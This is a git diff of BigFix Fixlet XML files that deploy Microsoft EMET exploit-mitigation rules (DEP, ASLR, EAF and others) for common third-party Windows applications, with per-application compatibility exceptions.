-        <Mitigation Name="EAF" Enabled="false" />
-      </App>
-      <App Name="File manager" Path="*\7-Zip\7zFM.exe">
-        <Mitigation Name="EAF" Enabled="false" />
-      </App>
-    </Suite>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Apple">
-    <Product Name="Safari">
-      <Version Arch="x86" Path="*\Safari\Safari.exe"/>
-    </Product>
-
-    <Product Name="QuickTime">
-      <Version Arch="x86" Path="*\QuickTime\QuickTimePlayer.exe"/>
-    </Product>
-
-    <Product Name="iTunes">
-      <Version Path="*\iTunes\iTunes.exe"/>
-    </Product>
-
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Pidgin">
-    <Product Name="Pidgin">
-      <Version Arch="x86" Path="*\Pidgin\pidgin.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Oracle">
-      <Suite Name="Java">
-          <App Name="Console" Path="*\Java\jre*\bin\java.exe">
-              <Mitigation Name="HeapSpray" Enabled="false" />
-          </App>
-          <App Name="GUI" Path="*\Java\jre*\bin\javaw.exe">
-              <Mitigation Name="HeapSpray" Enabled="false" />
-          </App>
-          <App Name="Web Start" Path="*\Java\jre*\bin\javaws.exe">
-              <Mitigation Name="HeapSpray" Enabled="false" />
-          </App>
-      </Suite>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Foxit">
-    <Product Name="Foxit Reader">
-      <Version Arch="x86" Path="*\Foxit Reader\Foxit Reader.exe"/>
-    </Product>
-  </Vendor>
-
-</EMET_Standard_Rules>
-_end_
-
-move __createfile defaults.xml
-
-waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows
+  ID       : 21612
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T09:47:23
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Popular Third-Party Mitigations - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
+<P>Specifically it configures EMET to detect exploits for the following applications:</P>
+<UL>
+<LI>7-Zip
+<LI>Adobe Acrobat
+<LI>Adobe Reader
+<LI>Adobe Photoshop
+<LI>Apple Safari
+<LI>Apple Quicktime
+<LI>Apple iTunes
+<LI>FoxIT Reader
+<LI>Google Chrome
+<LI>Google Talk
+<LI>Java
+<LI>mIRC
+<LI>Mozilla Firefox
+<LI>Mozilla Thunderbird
+<LI>Opera Browser
+<LI>Pidgin
+<LI>Real Player
+<LI>VLC
+<LI>Winamp
+<LI>WinRAR
+<LI>WinZIP</LI></UL>
+<P>Please note, EAF+ has been disabled for Google Chrome due to issues with the latest versions of Chrome and Windows 10.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
+    <Relevance>(size of (set of (&quot;*\Adobe\*\Reader\AcroRd32.exe&quot;;&quot;*\Adobe\Acrobat*\Acrobat\Acrobat.exe&quot;;&quot;*\Java\jre*\bin\java.exe&quot;;&quot;*\Java\jre*\bin\javaw.exe&quot;;&quot;*\Java\jre*\bin\javaws.exe&quot;;&quot;*\Google\Chrome\Application\chrome.exe&quot;;&quot;*\Google\Google Talk\googletalk.exe&quot;;&quot;*\Mozilla Firefox\firefox.exe&quot;;&quot;*\Mozilla Firefox\plugin-container.exe&quot;;&quot;*\Mozilla Thunderbird\thunderbird.exe&quot;;&quot;*\Mozilla Thunderbird\plugin-container.exe&quot;;&quot;*\Adobe\Adobe Photoshop CS*\Photoshop.exe&quot;;&quot;*\Winamp\winamp.exe&quot;;&quot;*\Opera\opera.exe&quot;;&quot;*\Opera\*\opera.exe&quot;;&quot;*\WinRAR\winrar.exe&quot;;&quot;*\WinRAR\rar.exe&quot;;&quot;*\WinRAR\unrar.exe&quot;;&quot;*\WinZip\winzip32.exe&quot;;&quot;*\WinZip\winzip64.exe&quot;;&quot;*\VideoLAN\VLC\vlc.exe&quot;;&quot;*\Real\RealPlayer\realconverter.exe&quot;;&quot;*\Real\RealPlayer\realplay.exe&quot;;&quot;*\mIRC\mirc.exe&quot;;&quot;*\7-Zip\7z.exe&quot;;&quot;*\7-Zip\7zG.exe&quot;;&quot;*\7-Zip\7zFM.exe&quot;;&quot;*\Safari\Safari.exe&quot;;&quot;*\QuickTime\QuickTimePlayer.exe&quot;;&quot;*\iTunes\iTunes.exe&quot;;&quot;*\Pidgin\pidgin.exe&quot;;&quot;*\Foxit Reader\Foxit Reader.exe&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
+
+delete __createfile
+delete defaults.xml
+
+createfile until _end_
+<?xml version="1.0"?>
+<!--
+EMET Popular Software protections config.
+Enables protections for common software such as Internet Explorer, Microsof Office, Windows Media Player, Adobe Acrobat Reader, Java, WinZip, VLC, RealPlayer, QuickTime, Opera, etc.
+
+All applications will have the default mitigations applied to them unless specific mitigations are specified per application.
+Environment variable supported:
+- %ProgramFiles(x86)% - This maps to %ProgramFiles(x86)%. If it's not defined on the system, it will map to %ProgramFiles%.
+- %ProgramFiles% - This maps to %ProgramFiles%. If the Product's Arch property is x64, it will map to the 64 bit program files directory.
+- %Windir% - Windows directory
+- %LOCALAPPDATA% - User local data path
+- %APPDATA% - User roaming data path
+- All other environment variables
+- MinOS - when a mitigation is enabled (=true), it will be applied by default only if minimum OS version is equal or greater of the one specified
+
+Please refer to EMET User's Guide for detailed information on how to use wildcards "*"
+-->
+
+<EMET_Standard_Rules>
+
+  <!-- Default mitigations will be applied by default to configured programs unless each program explicity enables or disables certain mitigations -->
+  <DefaultConfig>
+    <Mitigations>
+      <Mitigation Name="DEP"            Enabled="true" />
+      <Mitigation Name="SEHOP"          Enabled="true" />
+      <Mitigation Name="NullPage"       Enabled="true" />
+      <Mitigation Name="HeapSpray"      Enabled="true" />
+      <Mitigation Name="EAF"            Enabled="true" />
+      <Mitigation Name="EAF+"           Enabled="false" />
+      <Mitigation Name="MandatoryASLR"  Enabled="true" />
+      <Mitigation Name="BottomUpASLR"   Enabled="true" />
+      <Mitigation Name="LoadLib"        Enabled="true" />
+      <Mitigation Name="MemProt"        Enabled="true" />
+      <Mitigation Name="Caller"         Enabled="true" />
+      <Mitigation Name="SimExecFlow"    Enabled="true" />
+      <Mitigation Name="StackPivot"     Enabled="true" />
+      <Mitigation Name="ASR"            Enabled="false" />
+    </Mitigations>
+  </DefaultConfig>
+
+  <Settings>
+    <ExploitAction Value="StopProgram" />
+    <AdvancedSettings DeepHooks="True" AntiDetours="True" BannedFunctions="True" />
+  </Settings>
+
+  <!--
+  ******************************************************************************************************************
+  Suites and programs definitions
+  ******************************************************************************************************************
+  -->
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Google">
+    <Product Name="Chrome">
+      <Version Arch="x86" Path="*\Google\Chrome\Application\chrome.exe">
+        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
+        <Mitigation Name="EAF+" Enabled="false">
+          <eaf_modules>chrome_child.dll</eaf_modules>
+        </Mitigation>
+
+      </Version>
+    </Product>
+
+    <Product Name="Google Talk">
+      <Version Arch="x86" Path="*\Google\Google Talk\googletalk.exe">
+        <Mitigation Name="DEP" Enabled="false" />
+        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
+      </Version>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Mozilla">
+    <Suite Name="FireFox" Arch="x86">
+      <App Name="Browser" Path="*\Mozilla Firefox\firefox.exe">
+        <Mitigation Name="EAF+" Enabled="true">
+          <eaf_modules>mozjs.dll;xul.dll</eaf_modules>
+        </Mitigation>
+      </App>
+      <App Name="Plugin container" Path="*\Mozilla Firefox\plugin-container.exe"/>
+    </Suite>
+
+    <Suite Name="Thunderbird" Arch="x86">
+      <App Name="Mail client" Path="*\Mozilla Thunderbird\thunderbird.exe"/>
+      <App Name="Plugin container" Path="*\Mozilla Thunderbird\plugin-container.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Adobe">
+
+    <!-- Adobe Photoshop CS ALL-->
+    <Product Name="Photoshop">
+      <Version Name="Photoshop" Path="*\Adobe\Adobe Photoshop CS*\Photoshop.exe"/>
+    </Product>
+
+    <!-- Adobe Acrobat and Acrobat Reader 8,9,10,11 -->
+    <Product Name="Acrobat Reader">
+      <Version Name="Acrobat Reader" Path="*\Adobe\*\Reader\AcroRd32.exe">
+        <Mitigation Name="EAF+" Enabled="true">
+          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
+        </Mitigation>
+      </Version>
+    </Product>
+    <Product Name="Acrobat">
+      <Version Name="Acrobat" Path="*\Adobe\Acrobat*\Acrobat\Acrobat.exe">
+        <Mitigation Name="EAF+" Enabled="true">
+          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
+        </Mitigation>
+      </Version>
+    </Product>
+
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Nullsoft">
+    <Product Name="Winamp">
+      <Version Arch="x86" Path="*\Winamp\winamp.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Opera Software ASA">
+    <Product Name="Opera Browser">
+      <Version Arch="x86" Path="*\Opera\opera.exe"/>
+    </Product>
+  </Vendor>
+  <Vendor Name="Opera Software ASA">
+    <Product Name="Opera Browser">
+      <Version Arch="x86" Path="*\Opera\*\opera.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="RAR Labs">
+    <Suite Name="WinRAR">
+      <App Name="GUI" Path="*\WinRAR\winrar.exe"/>
+      <App Name="Console" Path="*\WinRAR\rar.exe"/>
+      <App Name="Unrar" Path="*\WinRAR\unrar.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="WinZip Computing">
+    <Product Name="WinZip (x86)">
+      <Version Arch="x86" Path="*\WinZip\winzip32.exe"/>
+    </Product>
+
+    <Product Name="WinZip (x64)">
+      <Version Arch="x64" Path="*\WinZip\winzip64.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="VideoLAN">
+    <Product Name="VLC">
+      <Version Arch="x86" Path="*\VideoLAN\VLC\vlc.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Real Networks">
+    <Suite Name="RealPlayer" Arch="x86">
+      <App Name="Converter" Path="*\Real\RealPlayer\realconverter.exe"/>
+      <App Name="Player" Path="*\Real\RealPlayer\realplay.exe"/>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="mIRC Co">
+    <Product Name="mIRC">
+      <Version Arch="x86" Path="*\mIRC\mirc.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="7-Zip">
+    <Suite Name="7-Zip">
+      <App Name="Console command line" Path="*\7-Zip\7z.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+      <App Name="GUI command line" Path="*\7-Zip\7zG.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+      <App Name="File manager" Path="*\7-Zip\7zFM.exe">
+        <Mitigation Name="EAF" Enabled="false" />
+      </App>
+    </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Apple">
+    <Product Name="Safari">
+      <Version Arch="x86" Path="*\Safari\Safari.exe"/>
+    </Product>
+
+    <Product Name="QuickTime">
+      <Version Arch="x86" Path="*\QuickTime\QuickTimePlayer.exe"/>
+    </Product>
+
+    <Product Name="iTunes">
+      <Version Path="*\iTunes\iTunes.exe"/>
+    </Product>
+
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Pidgin">
+    <Product Name="Pidgin">
+      <Version Arch="x86" Path="*\Pidgin\pidgin.exe"/>
+    </Product>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Oracle">
+      <Suite Name="Java">
+          <App Name="Console" Path="*\Java\jre*\bin\java.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+          <App Name="GUI" Path="*\Java\jre*\bin\javaw.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+          <App Name="Web Start" Path="*\Java\jre*\bin\javaws.exe">
+              <Mitigation Name="HeapSpray" Enabled="false" />
+          </App>
+      </Suite>
+  </Vendor>
+
+  <!-- ****************************************************************************************************************** -->
+  <Vendor Name="Foxit">
+    <Product Name="Foxit Reader">
+      <Version Arch="x86" Path="*\Foxit Reader\Foxit Reader.exe"/>
+    </Product>
+  </Vendor>
+
+</EMET_Standard_Rules>
+_end_
+
+move __createfile defaults.xml
+
+waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows (20898).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows (20898).bes
index adc754428..988e24d2a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows (20898).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows (20898).bes	
@@ -1,308 +1,308 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows
-  ID       : 20898
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-07-07T23:20:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows</Title>
-    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
-<P>Specifically it configures EMET to detect exploits for the following applications:</P>
-<UL>
-<LI>7-Zip
-<LI>Adobe Acrobat
-<LI>Adobe Reader
-<LI>Adobe Photoshop
-<LI>Apple Safari
-<LI>Apple Quicktime
-<LI>Apple iTunes
-<LI>FoxIT Reader
-<LI>Google Chrome
-<LI>Google Talk
-<LI>Java
-<LI>mIRC
-<LI>Mozilla Firefox
-<LI>Mozilla Thunderbird
-<LI>Opera Browser
-<LI>Pidgin
-<LI>Real Player
-<LI>VLC
-<LI>Winamp
-<LI>WinRAR
-<LI>WinZIP</LI></UL>
-<P>This Fixlet in particular excludes ALL EAF configurations.</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
-    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
-    <Relevance>(size of (set of (&quot;*\Adobe\*\Reader\AcroRd32.exe&quot;;&quot;*\Adobe\Acrobat*\Acrobat\Acrobat.exe&quot;;&quot;*\Java\jre*\bin\java.exe&quot;;&quot;*\Java\jre*\bin\javaw.exe&quot;;&quot;*\Java\jre*\bin\javaws.exe&quot;;&quot;*\Google\Chrome\Application\chrome.exe&quot;;&quot;*\Google\Google Talk\googletalk.exe&quot;;&quot;*\Mozilla Firefox\firefox.exe&quot;;&quot;*\Mozilla Firefox\plugin-container.exe&quot;;&quot;*\Mozilla Thunderbird\thunderbird.exe&quot;;&quot;*\Mozilla Thunderbird\plugin-container.exe&quot;;&quot;*\Adobe\Adobe Photoshop CS*\Photoshop.exe&quot;;&quot;*\Winamp\winamp.exe&quot;;&quot;*\Opera\opera.exe&quot;;&quot;*\Opera\*\opera.exe&quot;;&quot;*\WinRAR\winrar.exe&quot;;&quot;*\WinRAR\rar.exe&quot;;&quot;*\WinRAR\unrar.exe&quot;;&quot;*\WinZip\winzip32.exe&quot;;&quot;*\WinZip\winzip64.exe&quot;;&quot;*\VideoLAN\VLC\vlc.exe&quot;;&quot;*\Real\RealPlayer\realconverter.exe&quot;;&quot;*\Real\RealPlayer\realplay.exe&quot;;&quot;*\mIRC\mirc.exe&quot;;&quot;*\7-Zip\7z.exe&quot;;&quot;*\7-Zip\7zG.exe&quot;;&quot;*\7-Zip\7zFM.exe&quot;;&quot;*\Safari\Safari.exe&quot;;&quot;*\QuickTime\QuickTimePlayer.exe&quot;;&quot;*\iTunes\iTunes.exe&quot;;&quot;*\Pidgin\pidgin.exe&quot;;&quot;*\Foxit Reader\Foxit Reader.exe&quot;) - set of names of values of key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\EMET\AppSettings&quot; of native registry) != 0) | true</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-06-06</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-
-parameter "emetconfexe"="{pathname of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder}"
-
-delete __createfile
-delete defaults.xml
-
-createfile until _end_
-<?xml version="1.0"?>
-<!--
-EMET Popular Software protections config.
-Enables protections for common software such as Internet Explorer, Microsof Office, Windows Media Player, Adobe Acrobat Reader, Java, WinZip, VLC, RealPlayer, QuickTime, Opera, etc.
-
-All applications will have the default mitigations applied to them unless specific mitigations are specified per application.
-Environment variable supported:
-- %ProgramFiles(x86)% - This maps to %ProgramFiles(x86)%. If it's not defined on the system, it will map to %ProgramFiles%.
-- %ProgramFiles% - This maps to %ProgramFiles%. If the Product's Arch property is x64, it will map to the 64 bit program files directory.
-- %Windir% - Windows directory
-- %LOCALAPPDATA% - User local data path
-- %APPDATA% - User roaming data path
-- All other environment variables
-- MinOS - when a mitigation is enabled (=true), it will be applied by default only if minimum OS version is equal or greater of the one specified
-
-Please refer to EMET User's Guide for detailed information on how to use wildcards "*"
--->
-
-<EMET_Standard_Rules>
-
-  <!-- Default mitigations will be applied by default to configured programs unless each program explicity enables or disables certain mitigations -->
-  <DefaultConfig>
-    <Mitigations>
-      <Mitigation Name="DEP"            Enabled="true" />
-      <Mitigation Name="SEHOP"          Enabled="true" />
-      <Mitigation Name="NullPage"       Enabled="true" />
-      <Mitigation Name="HeapSpray"      Enabled="true" />
-      <Mitigation Name="EAF"            Enabled="false" />
-      <Mitigation Name="EAF+"           Enabled="false" />
-      <Mitigation Name="MandatoryASLR"  Enabled="true" />
-      <Mitigation Name="BottomUpASLR"   Enabled="true" />
-      <Mitigation Name="LoadLib"        Enabled="true" />
-      <Mitigation Name="MemProt"        Enabled="true" />
-      <Mitigation Name="Caller"         Enabled="true" />
-      <Mitigation Name="SimExecFlow"    Enabled="true" />
-      <Mitigation Name="StackPivot"     Enabled="true" />
-      <Mitigation Name="ASR"            Enabled="false" />
-    </Mitigations>
-  </DefaultConfig>
-
-  <Settings>
-    <ExploitAction Value="StopProgram" />
-    <AdvancedSettings DeepHooks="True" AntiDetours="True" BannedFunctions="True" />
-  </Settings>
-
-  <!--
-  ******************************************************************************************************************
-  Suites and programs definitions
-  ******************************************************************************************************************
-  -->
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Google">
-    <Product Name="Chrome">
-      <Version Arch="x86" Path="*\Google\Chrome\Application\chrome.exe">
-        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
-        <Mitigation Name="EAF+" Enabled="false">
-          <eaf_modules>chrome_child.dll</eaf_modules>
-        </Mitigation>
-
-      </Version>
-    </Product>
-
-    <Product Name="Google Talk">
-      <Version Arch="x86" Path="*\Google\Google Talk\googletalk.exe">
-        <Mitigation Name="DEP" Enabled="false" />
-        <Mitigation Name="SEHOP" Enabled="true" MinOS="6.1"/>
-      </Version>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Mozilla">
-    <Suite Name="FireFox" Arch="x86">
-      <App Name="Browser" Path="*\Mozilla Firefox\firefox.exe">
-        <Mitigation Name="EAF+" Enabled="false">
-          <eaf_modules>mozjs.dll;xul.dll</eaf_modules>
-        </Mitigation>
-      </App>
-      <App Name="Plugin container" Path="*\Mozilla Firefox\plugin-container.exe"/>
-    </Suite>
-
-    <Suite Name="Thunderbird" Arch="x86">
-      <App Name="Mail client" Path="*\Mozilla Thunderbird\thunderbird.exe"/>
-      <App Name="Plugin container" Path="*\Mozilla Thunderbird\plugin-container.exe"/>
-    </Suite>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Adobe">
-
-    <!-- Adobe Photoshop CS ALL-->
-    <Product Name="Photoshop">
-      <Version Name="Photoshop" Path="*\Adobe\Adobe Photoshop CS*\Photoshop.exe"/>
-    </Product>
-
-    <!-- Adobe Acrobat and Acrobat Reader 8,9,10,11 -->
-    <Product Name="Acrobat Reader">
-      <Version Name="Acrobat Reader" Path="*\Adobe\*\Reader\AcroRd32.exe">
-        <Mitigation Name="EAF+" Enabled="false">
-          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
-        </Mitigation>
-      </Version>
-    </Product>
-    <Product Name="Acrobat">
-      <Version Name="Acrobat" Path="*\Adobe\Acrobat*\Acrobat\Acrobat.exe">
-        <Mitigation Name="EAF+" Enabled="false">
-          <eaf_modules>AcroRd32.dll;Acrofx32.dll;AcroForm.api</eaf_modules>
-        </Mitigation>
-      </Version>
-    </Product>
-
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Nullsoft">
-    <Product Name="Winamp">
-      <Version Arch="x86" Path="*\Winamp\winamp.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Opera Software ASA">
-    <Product Name="Opera Browser">
-      <Version Arch="x86" Path="*\Opera\opera.exe"/>
-    </Product>
-  </Vendor>
-  <Vendor Name="Opera Software ASA">
-    <Product Name="Opera Browser">
-      <Version Arch="x86" Path="*\Opera\*\opera.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="RAR Labs">
-    <Suite Name="WinRAR">
-      <App Name="GUI" Path="*\WinRAR\winrar.exe"/>
-      <App Name="Console" Path="*\WinRAR\rar.exe"/>
-      <App Name="Unrar" Path="*\WinRAR\unrar.exe"/>
-    </Suite>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="WinZip Computing">
-    <Product Name="WinZip (x86)">
-      <Version Arch="x86" Path="*\WinZip\winzip32.exe"/>
-    </Product>
-
-    <Product Name="WinZip (x64)">
-      <Version Arch="x64" Path="*\WinZip\winzip64.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="VideoLAN">
-    <Product Name="VLC">
-      <Version Arch="x86" Path="*\VideoLAN\VLC\vlc.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Real Networks">
-    <Suite Name="RealPlayer" Arch="x86">
-      <App Name="Converter" Path="*\Real\RealPlayer\realconverter.exe"/>
-      <App Name="Player" Path="*\Real\RealPlayer\realplay.exe"/>
-    </Suite>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="mIRC Co">
-    <Product Name="mIRC">
-      <Version Arch="x86" Path="*\mIRC\mirc.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="7-Zip">
-    <Suite Name="7-Zip">
-      <App Name="Console command line" Path="*\7-Zip\7z.exe">
-        <Mitigation Name="EAF" Enabled="false" />
-      </App>
-      <App Name="GUI command line" Path="*\7-Zip\7zG.exe">
-        <Mitigation Name="EAF" Enabled="false" />
-      </App>
-      <App Name="File manager" Path="*\7-Zip\7zFM.exe">
-        <Mitigation Name="EAF" Enabled="false" />
-      </App>
-    </Suite>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Apple">
-    <Product Name="Safari">
-      <Version Arch="x86" Path="*\Safari\Safari.exe"/>
-    </Product>
-
-    <Product Name="QuickTime">
-      <Version Arch="x86" Path="*\QuickTime\QuickTimePlayer.exe"/>
-    </Product>
-
-    <Product Name="iTunes">
-      <Version Path="*\iTunes\iTunes.exe"/>
-    </Product>
-
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Pidgin">
-    <Product Name="Pidgin">
-      <Version Arch="x86" Path="*\Pidgin\pidgin.exe"/>
-    </Product>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Oracle">
-      <Suite Name="Java">
-          <App Name="Console" Path="*\Java\jre*\bin\java.exe">
-              <Mitigation Name="HeapSpray" Enabled="false" />
-          </App>
-          <App Name="GUI" Path="*\Java\jre*\bin\javaw.exe">
-              <Mitigation Name="HeapSpray" Enabled="false" />
-          </App>
-          <App Name="Web Start" Path="*\Java\jre*\bin\javaws.exe">
-              <Mitigation Name="HeapSpray" Enabled="false" />
-          </App>
-      </Suite>
-  </Vendor>
-
-  <!-- ****************************************************************************************************************** -->
-  <Vendor Name="Foxit">
-    <Product Name="Foxit Reader">
-      <Version Arch="x86" Path="*\Foxit Reader\Foxit Reader.exe"/>
-    </Product>
-  </Vendor>
-
-</EMET_Standard_Rules>
-_end_
-
-move __createfile defaults.xml
-
-waithidden "{parameter "emetconfexe"}" --import defaults.xml]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows
+  ID       : 20898
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-07-07T23:20:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - EMET Rules - Enable Popular Third-Party Mitigations without EAF - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the default application mitigations for various Microsoft applications within EMET.</P>
+<P>Specifically it configures EMET to detect exploits for the following applications:</P>
+<UL>
+<LI>7-Zip
+<LI>Adobe Acrobat
+<LI>Adobe Reader
+<LI>Adobe Photoshop
+<LI>Apple Safari
+<LI>Apple Quicktime
+<LI>Apple iTunes
+<LI>FoxIT Reader
+<LI>Google Chrome
+<LI>Google Talk
+<LI>Java
+<LI>mIRC
+<LI>Mozilla Firefox
+<LI>Mozilla Thunderbird
+<LI>Opera Browser
+<LI>Pidgin
+<LI>Real Player
+<LI>VLC
+<LI>Winamp
+<LI>WinRAR
+<LI>WinZIP</LI></UL>
+<P>This Fixlet in particular excludes ALL EAF configurations.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists file &quot;emet_conf.exe&quot; of folder whose (name of it starts with &quot;EMET&quot;) of program files x32 folder</Relevance>
+    <Relevance><![CDATA[(version of file "emet_conf.exe" of folder whose (name of it starts with "EMET") of program files x32 folder) > "5.5.0.0" as version]]></Relevance>
